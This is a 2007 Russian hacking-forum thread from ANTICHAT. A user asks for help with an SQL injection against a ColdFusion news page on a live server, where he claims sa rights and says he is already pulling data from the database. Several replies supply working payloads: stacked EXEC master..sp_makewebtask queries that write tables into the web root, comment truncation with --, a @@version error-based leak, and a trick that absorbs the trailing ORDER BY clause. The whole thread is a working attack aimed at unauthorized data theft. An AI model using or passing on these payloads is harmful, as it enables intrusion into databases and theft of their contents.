ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу как закрыть order в запросе к mssql
   
Ответ
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

как закрыть order в запросе к mssql
  #1  
Старый 12.09.2007, 20:20
$jason$
Новичок
Регистрация: 12.04.2006
Сообщений: 22
Провел на форуме:
90532

Репутация: 3
По умолчанию как закрыть order в запросе к mssql
Всем привет! подскажите как закрыть 'Order'

инъекция в cfm скрипте,все таблицы ,колонки и т.д даёт нормально,права sa

хочу вывести таблицу в файл на сервере с помощью sp_makewebtask, в вебдиректорию

в сообщение о ошибке есть полный путь до вебдиры,и запрос к бд

Код:
site.com/dir/news.cfm?news_id=-1'
Код:
[Macromedia][SQLServer JDBC Driver][SQLServer]Line 2: Incorrect syntax near ''.
The error occurred in F:\www\site.com\www\dir\news.cfm: line 19
SQL	   SELECT * From News Where News_ID = -1'' Order By DisplayOrder

делаю запрос
Код:
http://site.com/dir/news.cfm?News_ID=1;%20EXEC%20master..sp_makewebtask%20%22F:\www\site.com\www\dir\output.html%22,%20%22SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES%22
Код:
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'Order'. 
 
The error occurred in F:\www\site.com\www\dir\news.cfm: line 19

SELECT * From News Where News_ID = 1; EXEC master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Order By DisplayOrder
как закрыть этот ордер? повсякому пробовал пока неполучилось, проверяю потом site.com/dir/output.html нету файла
 
Ответить с цитированием

  #2  
Старый 12.09.2007, 20:23
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию
закоментировать не пробовал?
 
Ответить с цитированием

  #3  
Старый 12.09.2007, 20:23
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию
Используй усечение запроса комментами "--"(два тире), ставь в конце своего запроса
 
Ответить с цитированием

  #4  
Старый 12.09.2007, 21:38
$jason$
Новичок
Регистрация: 12.04.2006
Сообщений: 22
Провел на форуме:
90532

Репутация: 3
По умолчанию
пробовал запрос становится вида
[Macromedia][SQLServer JDBC Driver][SQLServer]Line 2: Incorrect syntax near ''.

Код:
SELECT * From News Where News_ID = 1; EXEC master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"-- Order By DisplayOrder
в файл невыводит
 
Ответить с цитированием

  #5  
Старый 12.09.2007, 23:49
$jason$
Новичок
Регистрация: 12.04.2006
Сообщений: 22
Провел на форуме:
90532

Репутация: 3
По умолчанию
никто незнает чтоли?
 
Ответить с цитированием

  #6  
Старый 13.09.2007, 00:06
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию
Цитата:
Сообщение от $jason$  
никто незнает чтоли?
Фильтрация кавычек там, читай статью [cash] до конца и все последующие посты!
https://forum.antichat.ru/thread30501.html
здесь непосредственно про обход кавычек
https://forum.antichat.ru/threadnav30501-3-10.html
 
Ответить с цитированием

  #7  
Старый 13.09.2007, 01:06
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию
подставь 1+or+1=@@version--
 
Ответить с цитированием

  #8  
Старый 13.09.2007, 17:13
$jason$
Новичок
Регистрация: 12.04.2006
Сообщений: 22
Провел на форуме:
90532

Репутация: 3
По умолчанию
Цитата:
Сообщение от [ cash ]  
подставь 1+or+1=@@version--
да всё прикрасно выводит и версию и всю нужную инфу из базы, там просто база объёмная т.е много инфы нужно скачать, я даж таблицу создал и там две колонки первая id вторая вся нужная мне инфа но скрипт который построчно сливает долго сливает всёравно(там сервак немного тормозной), я хочу побыстрей всё скачать просто ,но немогу правильно заюзать sp_makewebtask, раньше пробовал на других серверах всё получалось, а тут запрос каварный какой-то несоображу как ордер закрыть
 
Ответить с цитированием

  #9  
Старый 14.09.2007, 03:29
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию
А те путь известен?
Вообще не факт что ты trptr исполнять можешь лей не спеша и потихоньку...
 
Ответить с цитированием

  #10  
Старый 14.09.2007, 03:44
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию
поробуй сделать "фейковый" запрос

тогда запрос у тебя будет типа такого:
Код:
News_ID = 1; EXEC master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"; SELECT * From News Where News_ID = 1
а Order By DisplayOrder скрипт сам подставит и ошибки не будет
__________________
Карфаген должен быть разрушен...
Последний раз редактировалось Scipio; 14.09.2007 в 05:12..
 
Ответить с цитированием
Ответ
Страница 1 из 2 1 2 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
FAQ по выделенным серверам †Romi4† Авторские статьи 4 31.08.2009 16:19
Подробный Faq о открытии некоторых моделей домофонов system_32 Электроника и Фрикинг 23 18.12.2008 14:25
Вообщем про домофон... CRL Электроника и Фрикинг 16 18.12.2008 14:08
SQL инъекция (в т.ч. и blind SQL) kot777 Уязвимости 4 04.10.2008 17:18
SQL injection в MySql сервере версии 3,x bandera Чужие Статьи 3 04.06.2006 16:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ